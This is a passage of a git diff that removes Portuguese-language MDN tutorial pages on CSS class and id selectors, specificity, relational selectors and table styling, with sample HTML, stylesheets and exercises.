-<p>Na sua folha de estilo, digite um sinal de número (#) antes do id quando você usá-lo em um seletor.</p>
-
-<table style="border: 1px solid #36b; background-color: #ffe; padding: 1em;">
- <caption>Exemplos</caption>
- <tbody>
- <tr>
- <td>Este tag HTML tem ambos os atributos <code>class</code> e <code>id</code>.
- <div style="width: 30em;">
- <pre>
-&lt;P class="key" id="principal"&gt;
-</pre>
- </div>
-
- <p>O id, <code>principal</code>, deve ser o único no documento, mas outras tags no documento podem ter o mesmo nome de classe, <code>key</code>.</p>
-
- <p>Em uma folha de estilo CSS, esta regra faz todos os elementos da classe <code>key</code> verdes. (Eles podem não ser todos elementos <small>P</small>.)</p>
-
- <div style="width: 30em;">
- <pre>
-.key {color: green;}
-</pre>
- </div>
-
- <p>Esta regra faz um elemento com o id <code>principal</code> negrito:</p>
-
- <div style="width: 30em;">
- <pre>
-#principal {font-weight: bolder;}
-</pre>
- </div>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Se mais de uma regra se aplicar a um elemento e especificar a mesma propriedade, então CSS dará prioridade para a regra que tiver o seletor mais específico. Um seletor id é mais específíco que um seletor classe, que por sua vez é mais específico que um seletor tag.</p>
-
-<table style="border: 1px solid #36b; background-color: #f4f4f4; padding: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>Você pode combinar seletores para fazer um seletor mais específico.
- <p>Por exemplo, o seletor <code>.key</code> seleciona todos os elementos que tem o nome de classe <code>key</code>. O seletor <code>p.key</code> seleciona somente os elementos P que tiverem o nome de classe <code>key</code>.</p>
-
- <p>Você não está restrito aos dois atributos especiais, <code>class</code> e <code>id</code>. Você pode especificar outros atributos igualando entre colchetes. Por exemplo, o seletor <code>{{ mediawiki.external('type=button') }}</code> seleciona todos os elementos que tiverem um atributo <code>type</code> com o valor <code>button</code>.</p>
-
- <p>Uma página posterior deste tutorial (<a href="/pt/CSS/Como_come%C3%A7ar/Tabelas" title="pt/CSS/Como_começar/Tabelas">Tabelas</a>) tem informações sobre seletores complexos baseados em parentescos.</p>
-
- <p>Para um informação completa sobre seletores, veja <a class="external" href="http://www.w3.org/TR/CSS21/selector.html">Selectors</a> na CSS Specification.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Se sua folha de estilo tiver regras conflitantes e elas estiverem igualmente especificadas, então CSS dará prioridade para a regra que foi especificada por último na folha de estilo.</p>
-
-<p>Quando você tiver um problema com regras conflitantes, tente resolvê-lo fazendo uma das regras mais especificada, então ela terá prioridade. Se você não puder fazer isto, tente mover uma das regras para mais perto do fim da folha de estilo, então esta terá prioridade.</p>
-
-<h3 id="A.C3.A7.C3.A3o:_Usando_seletores_de_classe_e_id" name="A.C3.A7.C3.A3o:_Usando_seletores_de_classe_e_id">Ação: Usando seletores de classe e id</h3>
-
-<p>Edite seu arquivo HTML, e duplique o paragrafo copiando e colando-o. Então adicione os atributos de id e classe na primeira cópia, e um id na segunda cópia como mostrado abaixo. Um alternativa é copiar e colar o arquivo inteiro novamente:</p>
-
-<div style="width: 48em; color: gray;">
-<pre class="eval">&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
-&lt;HTML&gt;
- &lt;HEAD&gt;
- &lt;TITLE&gt;Documento de amostra&lt;/TITLE&gt;
- &lt;LINK rel="stylesheet" type="text/css" href="style1.css"&gt;
- &lt;/HEAD&gt;
- &lt;BODY&gt;
- &lt;P <strong style="color: black;">id="first"</strong>&gt;
- &lt;STRONG <strong style="color: black;">class="carrot"</strong>&gt;C&lt;/STRONG&gt;ascading
- &lt;STRONG <strong style="color: black;">class="spinach"</strong>&gt;S&lt;/STRONG&gt;tyle
- &lt;STRONG <strong style="color: black;">class="spinach"</strong>&gt;S&lt;/STRONG&gt;heets
- &lt;/P&gt;
- <strong style="color: black;">&lt;P id="second"&gt;
- &lt;STRONG&gt;C&lt;/STRONG&gt;ascading
- &lt;STRONG&gt;S&lt;/STRONG&gt;tyle
- &lt;STRONG&gt;S&lt;/STRONG&gt;heets
- &lt;/P&gt;</strong>
- &lt;/BODY&gt;
-&lt;/HTML&gt;
-</pre>
-</div>
-
-<p>Agora edite seu arquivo CSS. Substitua os componentes inteiros com:</p>
-
-<div style="width: 40em;">
-<pre>strong {color: red;}
-.carrot {color: orange;}
-.spinach {color: green;}
-#first {font-style: italic;}
-</pre>
-</div>
-
-<p><br>
- Atualize seu navegador para ver o resultado:</p>
-
-<table style="border: 2px outset #36b; padding: 1em;">
- <tbody>
- <tr>
- <td style="font-style: italic;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
- </tr>
- <tr>
- <td><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
- </tr>
- </tbody>
-</table>
-
-<p><br>
- Você pode tentar re-dispor as linhas no seu arquivo CSS para mostrar que a ordem não muda o efeito.</p>
-
-<p>Os seletores de classe <code>.carrot</code> e <code>.spinach</code> tem prioridade sobre o seletor de tag <code>STRONG</code>.</p>
-
-<p>O seletor id <code>#first</code> tem prioridade sobre a classe o os seletores de tag.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;">
- <caption>Desafios</caption>
- <tbody>
- <tr>
- <td>Sem mudar seu arquivo HTML, adicione uma única regra para seu arquivo CSS deixando todas as letras iniciais da mesma cor que estão agora, mas fazendo todo o segundo parágrafo aparecer em azul:
- <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
- <tbody>
- <tr>
- <td style="font-style: italic;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
- </tr>
- <tr>
- <td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
- </tr>
- </tbody>
- </table>
-
- <p>Agora mude a regra que você acabou de adicionar (sem mudar mais nenhuma coisa), para fazer o primeiro parágrafo em azul também:</p>
-
- <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
- <tbody>
- <tr>
- <td style="font-style: italic; color: blue;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
- </tr>
- <tr>
- <td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="O_que_vem_depois.3F" name="O_que_vem_depois.3F">O que vem depois?</h3>
-
-<p>Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de <a href="/Talk:pt/CSS/Como_come%C3%A7ar/Seletores" title="Talk:pt/CSS/Como_começar/Seletores">Discussão</a>.</p>
-
-<p>Sua folha de estilo de amostra está começando a parecer densa e complicada. A próxima página descreve caminhos para fazer o CSS mais fácil de ler: <strong><a href="/pt/CSS/Como_come%C3%A7ar/CSS_leg%C3%ADvel" title="pt/CSS/Como_começar/CSS_legível">CSS legível</a></strong></p>
-
-<p>{{ PreviousNext("CSS:Como começar:Cascata e herança", "CSS:Como começar:CSS legível") }}</p>
diff --git a/files/pt-pt/learn/css/building_blocks/styling_tables/index.html b/files/pt-pt/learn/css/building_blocks/styling_tables/index.html
deleted file mode 100644
index 8967f90eb8..0000000000
--- a/files/pt-pt/learn/css/building_blocks/styling_tables/index.html
+++ /dev/null
@@ -1,656 +0,0 @@
----
-title: Tabelas
-slug: Learn/CSS/Building_blocks/Styling_tables
-tags:
- - CSS:Como_começar
-translation_of: Learn/CSS/Building_blocks/Styling_tables
-translation_of_original: Web/Guide/CSS/Getting_started/Tables
-original_slug: Web/CSS/Como_começar/Tabelas
----
-<p>{{ PreviousNext("CSS:Como começar:Disposição", "CSS:Como começar:Mídia") }}</p>
-
-<p>Esta página descreve seletores mais avançados, e algumas maneiras específicas para estilizar tabelas.</p>
-
-<p>Você cria um novo documento de amostra contendo uma tabela, e uma folha de estilo para isto.</p>
-
-<h2 id="Informa.C3.A7.C3.A3o:_Mais_seletores" name="Informa.C3.A7.C3.A3o:_Mais_seletores">Informação: Mais seletores</h2>
-
-<p>CSS possui algumas maneiras para selecionar elementos baseadas nas relações entre eles. Você pode usá-las para fazer seletores que sejam mais específicos.</p>
-
-<p>Aqui está um sumário de seletores baseados em relações:</p>
-
-<table style="margin-left: 2em;">
- <tbody>
- <tr>
- <td style="width: 10em;"><strong>Seletor</strong></td>
- <td><strong>Seleciona</strong></td>
- </tr>
- <tr>
- <td><code>A E</code></td>
- <td>Qualquer elemento E que seja <em>descendente</em> de um elemento A (isso é: um subitem, ou um subitem de um sub item, <em>etc</em>.)</td>
- </tr>
- <tr>
- <td><code>A &gt; E</code></td>
- <td>Qualquer elemento E que seja subitem de um elemento A</td>
- </tr>
- <tr>
- <td><code>E:first-child</code></td>
- <td>Qualque elemento E que seja o primeiro subitem do seu principal</td>
- </tr>
- <tr>
- <td><code>B + E</code></td>
- <td>Qualquer elemento E que seja o próximo <em>irmão</em> de um elemento B (isso é: o próximo subitem do mesmo principal)</td>
- </tr>
- </tbody>
-</table>
-
-<p>Você pode combinar isto para expressar relações complexas.</p>
-
-<p>Você pode também usar o símbolo <code>*</code> (asterisco) para dizer "qualquer elemento".</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Uma tabela HTML tem um atributo <code>id</code>, mas suas linhas e células não tem identificadores individuais:
- <div style="width: 30em;">
- <pre class="eval">
-&lt;TABLE id="data-table-1"&gt;
-...
-&lt;TR&gt;
-&lt;TD&gt;Prefix&lt;/TD&gt;
-&lt;TD&gt;0001&lt;/TD&gt;
-&lt;TD&gt;default&lt;/TD&gt;
-&lt;/TR&gt;
-...
-</pre>
- </div>
-
- <p>Estas regras fazem a primeira célula em cada linha em negrito, e a segunda célula em cada linha monoespaçada. Elas afetam somente uma tabela específica no documento:</p>
-
- <div style="width: 45em;">
- <ol>
- <li>data-table-1 td:first-child {font-weight: bolder;}</li>
- <li>data-table-1 td:first-child + td {font-family: monospace;}</li>
- </ol>
- </div>
-
- <p>O resultado é algo como isto:</p>
-
- <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
- <tbody>
- <tr>
- <td>
- <table style="width: 18em; margin-right: 2em;">
- <tbody>
- <tr>
- <td><strong>Prefix</strong></td>
- <td><code>0001</code></td>
- <td>default</td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>De maneira usual, se você faz um seletor mais específico então você aumenta sua prioridade.
- <p>Usando estas técnicas, você evita precisar especificar atributos <code>class</code> ou <code>id</code> em muitas tags no seu documento. Em vez disso, CSS faz o trabalho.</p>
-
- <p>Em grandes projetos onde a velocidade é importante, você pode fazer suas folhas de estilo mais eficientes evitando regras complexas que dependem da relação entre elementos.</p>
-
- <p>Para detalhes completos sobre seletores, veja <a class="external" href="http://www.w3.org/TR/CSS21/selector.html">Selectors</a> em CSS Specification.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Informa.C3.A7.C3.A3o:_Tabelas" name="Informa.C3.A7.C3.A3o:_Tabelas">Informação: Tabelas</h2>
-
-<p>Uma tabela é um arranjo de informação em uma grade retangular. Algumas tabelas podem ser complexas, e para tabelas complexas diferentes navegadores podem exibir diferentes resultados.</p>
-
-<p>Quando você desenha seu documento, use e a tabela para expressar as relações entre as peças da informação. Então não importará se os diferentes navegadores apresentarem a informação de maneiras levemente diferentes, pois o significado ainda pode ser compreendido.</p>
-
-<p>Não use tabelas de maneiras não usuais para produzir disposições visuais particulares. As técnicas na página anterior deste tutorial (<a href="/pt/CSS/Como_come%C3%A7ar/Disposi%C3%A7%C3%A3o" title="pt/CSS/Como_começar/Disposição">Disposição</a>) são melhores para isto.</p>
-
-<h4 id="Estrutura_da_tabela" name="Estrutura_da_tabela">Estrutura da tabela</h4>
-
-<p>Em uma tabela, cada peça de informação é exibida em uma <em>célula</em>.</p>
-
-<p>As células em uma linha horizontal na página compõem uma <em>linha</em>.</p>
-
-<p>Em algumas tabelas, as linhas podem ser agrupadas. Um grupo especial de linhas no começo da tabela é o <em>cabeçalho</em>. Um grupo especial de linhas no final da tabela é o <em>rodapé</em>. As linhas principais na tabela são o <em>corpo</em>, e elas podem também estar em grupos.</p>
-
-<p>As células em uma linha vertical na página compõem uma <em>coluna</em>, mas as colunas têm usos limitados nas tabelas das CSS.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>A tabela de seletores próxima ao topo desta página tem dez células em cinco linhas.
- <p>A primeira linha é o cabeçalho. As outras quatro linhas são o corpo. Não há um rodapé.</p>
-
- <p>Ela tem duas colunas.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Este tutorial somente cobre tabelas simples, onde os resultados são razoavelmente previsíveis. Em uma tabela simples, toda célula ocupa somente uma linha e coluna. Você pode usar CSS para tabelas complexas onde células <em>expandam</em> (extendam-se sobre) mais do que uma linha ou coluna, mas tabelas como estas estão fora do escopo deste tutorial básico.</p>
-
-<h3 id="Bordas" name="Bordas">Bordas</h3>
-
-<p>Células não têm margens.</p>
-
-<p>Células têm bordas e enchimento. Por padrão, as bordas são separadas pelo valor da propriedade <code>border-spacing</code> da tabela. Você pode também remover o espaçamento completamente configurando a propriedade <code>border-collapse</code> da tabela para <code>collapse</code>.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Aqui estão três tabelas.
- <p>A tabela da esquerda tem espaçamento de borda 0.5 em. A tabela do centro tem espaçamento da borda zero. A tabela da direita tem bordas unidas:</p>
-
- <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
- <tbody>
- <tr>
- <td style="padding-right: 2em;">
- <table style="">
- <tbody>
- <tr>
- <td style="border: 1px solid #c00; text-align: center;">Paus</td>
- <td style="border: 1px solid #c00; text-align: center;">Copas</td>
- </tr>
- <tr>
- <td style="border: 1px solid #c00; text-align: center;">Ouros</td>
- <td style="border: 1px solid #c00; text-align: center;">Espadas</td>
- </tr>
- </tbody>
- </table>
- </td>
- <td style="padding-right: 2em;">
- <table style="">
- <tbody>
- <tr>
- <td style="border: 1px solid #c00; text-align: center;">Paus</td>
- <td style="border: 1px solid #c00; text-align: center;">Copas</td>
- </tr>
- <tr>
- <td style="border: 1px solid #c00; text-align: center;">Ouros</td>
- <td style="border: 1px solid #c00; text-align: center;">Espadas</td>
- </tr>
- </tbody>
- </table>
- </td>
- <td style="padding-right: 6em;">
- <table style="border-collapse: collapse;">
- <tbody>
- <tr>
- <td style="border: 1px solid #c00; text-align: center;">Paus</td>
- <td style="border: 1px solid #c00; text-align: center;">Copas</td>
- </tr>
- <tr>
- <td style="border: 1px solid #c00; text-align: center;">Ouros</td>
- <td style="border: 1px solid #c00; text-align: center;">Espadas</td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Subt.C3.ADtulos" name="Subt.C3.ADtulos">Subtítulos</h3>
-
-<p>Um <em>subtítulo</em> é uma etiqueta que se aplica à tabela inteira. Por padrão, isto é mostrado no topo da tabela.</p>
-
-<p>Para mover isto para o fim, configure a propriedade <code>caption-side</code> para <code>bottom</code>. A propriedade é herdada, então alternativamente você pode configurar isto na tabela em outro elemento ascendente.</p>
-
-<p>Para estilizar o texto do subtítulo, use qualquer das propriedades usuais para texto.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Esta tabela tem um subtítulo no fim:
- <div style="width: 30em;">
- <pre class="eval">
-#demo-table &gt; caption {
- caption-side: bottom;
- font-style: italic;
- text-align: right;
- }
-</pre>
- </div>
-
- <table style="border: 2px outset #36b; padding: 1em 6em 1em 1em; background-color: white;">
- <tbody>
- <tr>
- <td>
- <table>
- <caption>Naipes</caption>
- <tbody>
- <tr>
- <td>
- <table style="border-collapse: collapse;">
- <tbody>
- <tr>
- <td style="border: 1px solid gray; text-align: center;">Paus</td>
- <td style="border: 1px solid gray; text-align: center;">Copas</td>
- </tr>
- <tr>
- <td style="border: 1px solid gray; text-align: center;">Ouros</td>
- <td style="border: 1px solid gray; text-align: center;">Espadas</td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="C.C3.A9lulas_vazias" name="C.C3.A9lulas_vazias">Células vazias</h3>
-
-<p>Você pode exibir células vazias (isto é, suas bordas e fundos) especificando <code>empty-cells: show;</code> para o elemento da tabela.</p>
-
-<p>Você pode escondê-los especificando <code>empty-cells:hide;</code>. Então, se um elemento principal tem um fundo e o chama, isto mostra através da célula vazia.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Estas tabelas tem um fundo de verde pálido. Suas células tem um fundo de cinza pálido e bordas de cinza escuro.
- <p>Na esquerda da tabela, a célula vazia é mostrada. Na direita, é escondida:</p>
-
- <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
- <tbody>
- <tr>
- <td style="padding-right: 2em;">
- <table style="background-color: #dfd;">
- <tbody>
- <tr>
- <td style="border: 1px solid #555; background-color: #eee;"> </td>
- <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Copas</td>
- </tr>
- <tr>
- <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Ouros</td>
- <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Espadas</td>
- </tr>
- </tbody>
- </table>
- </td>
- <td style="padding-right: 6em;">
- <table style="background-color: #dfd;">
- <tbody>
- <tr>
- <td> </td>
- <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Copas</td>
- </tr>
- <tr>
- <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Ouros</td>
- <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Espadas</td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>Para informações detalhasdas sobre tabelas, veja <a class="external" href="http://www.w3.org/TR/CSS21/tables.html">Tables</a> em CSS Specification.
- <p>A informação lá vai além do que há neste tutorial, mas não cobre as diferenças entre os navegadores que podem afetar tabelas complexas.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="A.C3.A7.C3.A3o:_Estilizando_uma_tabela" name="A.C3.A7.C3.A3o:_Estilizando_uma_tabela">Ação: Estilizando uma tabela</h2>
-
-<p>Faça um novo documento HTML, <code>doc3.html</code>. Copie e cole o conteúdo daqui, tendo certeza que você rolou a tela para pegar tudo isto:</p>
-
-<div style="width: 48em; height: 12em; overflow: auto;">
-<pre>&lt;DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
-&lt;HTML&gt;
-&lt;HEAD&gt;
-&lt;TITLE&gt;Documento de amostra 3&lt;/TITLE&gt;
-&lt;LINK rel="stylesheet" type="text/css" href="style3.css"&gt;
-&lt;/HEAD&gt;
-&lt;BODY&gt;
-
-&lt;TABLE id="demo-table"&gt;
-&lt;CAPTION&gt;Oceanos&lt;/CAPTION&gt;
-
-&lt;THEAD&gt;
-&lt;TR&gt;
-&lt;TH&gt;&lt;/TH&gt;
-&lt;TH&gt;Área&lt;/TH&gt;
-&lt;TH&gt;Profundidade Média&lt;/TH&gt;
-&lt;/TR&gt;
-&lt;TR&gt;
-&lt;TH&gt;&lt;/TH&gt;
-&lt;TH&gt;milhões de km&lt;SUP&gt;2&lt;/SUP&gt;&lt;/TH&gt;
-&lt;TH&gt;m&lt;/TH&gt;
-&lt;/TR&gt;
-&lt;/THEAD&gt;
-
-&lt;TBODY&gt;
-&lt;TR&gt;
-&lt;TH&gt;Ártico&lt;/TH&gt;
-&lt;TD&gt;13,000&lt;/TD&gt;
-&lt;TD&gt;1,200&lt;/TD&gt;
-&lt;/TR&gt;
-&lt;TR&gt;
-&lt;TH&gt;Atlântico&lt;/TH&gt;
-&lt;TD&gt;87,000&lt;/TD&gt;
-&lt;TD&gt;3,900&lt;/TD&gt;
-&lt;/TR&gt;
-&lt;TR&gt;
-&lt;TH&gt;Pacífico&lt;/TH&gt;
-&lt;TD&gt;180,000&lt;/TD&gt;
-&lt;TD&gt;4,000&lt;/TD&gt;
-&lt;/TR&gt;
-&lt;TR&gt;
-&lt;TH&gt;Índico&lt;/TH&gt;
-&lt;TD&gt;75,000&lt;/TD&gt;
-&lt;TD&gt;3,900&lt;/TD&gt;
-&lt;/TR&gt;
-&lt;TR&gt;
-&lt;TH&gt;Antártico&lt;/TH&gt;
-&lt;TD&gt;20,000&lt;/TD&gt;
-&lt;TD&gt;4,500&lt;/TD&gt;
-&lt;/TR&gt;
-&lt;/TBODY&gt;
-
-&lt;TFOOT&gt;
-&lt;TR&gt;
-&lt;TH&gt;Total&lt;/TH&gt;
-&lt;TD&gt;361,000&lt;/TD&gt;
-&lt;TD&gt;&lt;/TD&gt;
-&lt;/TR&gt;
-&lt;TR&gt;
-&lt;TH&gt;Média&lt;/TH&gt;
-&lt;TD&gt;72,000&lt;/TD&gt;
-&lt;TD&gt;3,800&lt;/TD&gt;
-&lt;/TR&gt;
-&lt;/TFOOT&gt;
-
-&lt;/TABLE&gt;
-
-&lt;/BODY&gt;
-&lt;/HTML&gt;
-</pre>
-</div>
-
-<p>Crie uma nova folha de estilo, <code>style3.css</code>. Copie e cole o conteúdo daqui, tendo certeza que você rolou a tela para pegar tudo isto:</p>
-
-<div style="width: 48em; height: 12em; overflow: auto;">
-<pre>/*** Estilo para doc3.html (Tabelas) ***/
-
-#demo-table {
- font: 100% sans-serif;
- background-color: #efe;
- border-collapse: collapse;
- empty-cells: show;
- border: 1px solid #7a7;
- }
-
-#demo-table &gt; caption {
- text-align: left;
- font-weight: bold;
- font-size: 200%;
- border-bottom: .2em solid #4ca;
- margin-bottom: .5em;
- }
-
-
-/* basic shared rules */
-#demo-table th,
-#demo-table td {
- text-align: right;
- padding-right: .5em;
- }
-
-#demo-table th {
- font-weight: bold;
- padding-left: .5em;
- }
-
-
-/* header */
-#demo-table &gt; thead &gt; tr:first-child &gt; th {
- text-align: center;
- color: blue;
- }
-
-#demo-table &gt; thead &gt; tr + tr &gt; th {
- font-style: italic;
- color: gray;
- }
-
-/* fix size of superscript */
-#demo-table sup {
- font-size: 75%;
- }
-
-/* body */
-#demo-table td {
- background-color: #cef;
- padding:.5em .5em .5em 3em;
- }
-
-#demo-table tbody th:after {
- content: ":";
- }
-
-
-/* footer */
-#demo-table tfoot {
- font-weight: bold;
- }
-
-#demo-table tfoot th {
- color: blue;
- }
-
-#demo-table tfoot th:after {
- content: ":";
- }
-
-#demo-table &gt; tfoot td {
- background-color: #cee;
- }
-
-#demo-table &gt; tfoot &gt; tr:first-child td {
- border-top: .2em solid #7a7;
- }
-</pre>
-</div>
-
-<p>Abra o documento no seu navegador. Deve ser muito similar a este:</p>
-
-<table style="border: 2px outset #36b; padding: 1em 6em 1em 1em; background-color: white;">
- <tbody>
- <tr>
- <td>
- <div>
- <p style="font: bold 200% sans-serif; text-align: left; border-bottom: .2em solid #4ca; margin: 0px 0px .5em 0px;">Oceanos</p>
-
- <div style="border: 1px solid #7a7; background-color: #efe;">
- <table style="font: 100% sens-serif; background-color: #efe; border-collapse: collapse; text-align: right; padding-right: .5em;">
- <tbody>
- <tr style="text-align: center; color: blue;">
- <th> </th>
- <th>Área</th>
- <th style="padding-left: .5em; padding-right: .5em;">Profundidade média</th>
- </tr>
- <tr style="font-style: italic; color: gray;">
- <th> </th>
- <th style="padding-left: .5em; padding-right: .5em;">milhões de km<sup>2</sup></th>
- <th style="padding-left: .5em; padding-right: .5em;">m</th>
- </tr>
- <tr>
- <th style="padding-right: .5em;">Ártico:</th>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em;">13,000</td>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em;">1,200</td>
- </tr>
- <tr>
- <th style="padding-right: .5em;">Atlântico:</th>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em;">87,000</td>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em;">3,900</td>
- </tr>
- <tr>
- <th style="padding-right: .5em;">Pacífico:</th>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em;">180,000</td>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em;">4,000</td>
- </tr>
- <tr>
- <th style="padding-right: .5em;">Índico:</th>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em;">75,000</td>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em;">3,900</td>
- </tr>
- <tr>
- <th style="padding-left: .5em; padding-right: .5em;">Antártico:</th>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em;">20,000</td>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em;">4,500</td>
- </tr>
- <tr>
- <th style="padding-right: .5em; color: blue;">Total:</th>
- <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;">361,000</td>
- <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;"> </td>
- </tr>
- <tr>
- <th style="padding-right: .5em; color: blue;">Média:</th>
- <td style="background-color: #cee; padding: .5em .5em .5em 3em;">72,000</td>
- <td style="background-color: #cee; padding: .5em .5em .5em 3em;">3,800</td>
- </tr>
- </tbody>
- </table>
- </div>
- </div>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Compare estas regras em sua folha de estilo com a tabela exibida, para se assegurar de que entende o efeito de cada regra. Se você achou uma regra com a qual não está seguro sobre, descomente-a e atualize o navegador para ver o que acontece.</p>
-
-<p>Aqui estão algumas notas sobre esta tabela:</p>
-
-<ul>
- <li>O subtítulo encontra-se fora da borda da tabela.</li>
- <li>Se você tiver um tamanho mínimo do ponto ajustado nas Opções, isto pode afetar o sobre-escrito no km<sup>2</sup>.</li>
- <li>Existem três células vazias. Duas delas permitem que o fundo da tabela apareça através. A terceira tem um fundo e uma borda no topo.</li>
- <li>As colunas são adicionadas pela folha de estilos.</li>
-</ul>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;">
- <caption>Desafios</caption>
- <tbody>
- <tr>
- <td>Mude a folha de estilo para fazer a tabela parecer com isto:
- <table style="border: 2px outset #36b; padding: 1em 6em 1em 1em; background-color: white;">
- <tbody>
- <tr>
- <td>
- <div>
- <div style="border: 1px solid #7a7; background-color: #efe;">
- <table style="font: 100% sens-serif; background-color: #efe; border-collapse: collapse; text-align: right; padding-right: .5em;">
- <tbody>
- <tr style="text-align: center; color: blue;">
- <th> </th>
- <th>Área</th>
- <th style="padding-left: .5em; padding-right: .5em;">Profundidade média</th>
- </tr>
- <tr style="font-style: italic; color: gray;">
- <th> </th>
- <th style="padding-left: .5em; padding-right: .5em;">milhões de km<sup>2</sup></th>
- <th style="padding-left: .5em; padding-right: .5em;">m</th>
- </tr>
- <tr>
- <th style="padding-right: .5em;">Ártico:</th>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">13,000</td>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">1,200</td>
- </tr>
- <tr>
- <th style="padding-right: .5em;">Atlântico:</th>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">87,000</td>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">3,900</td>
- </tr>
- <tr>
- <th style="padding-right: .5em;">Pacífico:</th>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">180,000</td>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">4,000</td>
- </tr>
- <tr>
- <th style="padding-right: .5em;">Índico:</th>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">75,000</td>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">3,900</td>
- </tr>
- <tr>
- <th style="padding-left: .5em; padding-right: .5em;">Antártico:</th>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">20,000</td>
- <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">4,500</td>
- </tr>
- <tr>
- <th style="padding-right: .5em; color: blue;">Total:</th>
- <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;">361,000</td>
- <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;"> </td>
- </tr>
- <tr>
- <th style="padding-right: .5em; color: blue;">Média:</th>
- <td style="background-color: #cee; padding: .5em .5em .5em 3em;">72,000</td>
- <td style="background-color: #cee; padding: .5em .5em .5em 3em;">3,800</td>
- </tr>
- </tbody>
- </table>
- </div>
-
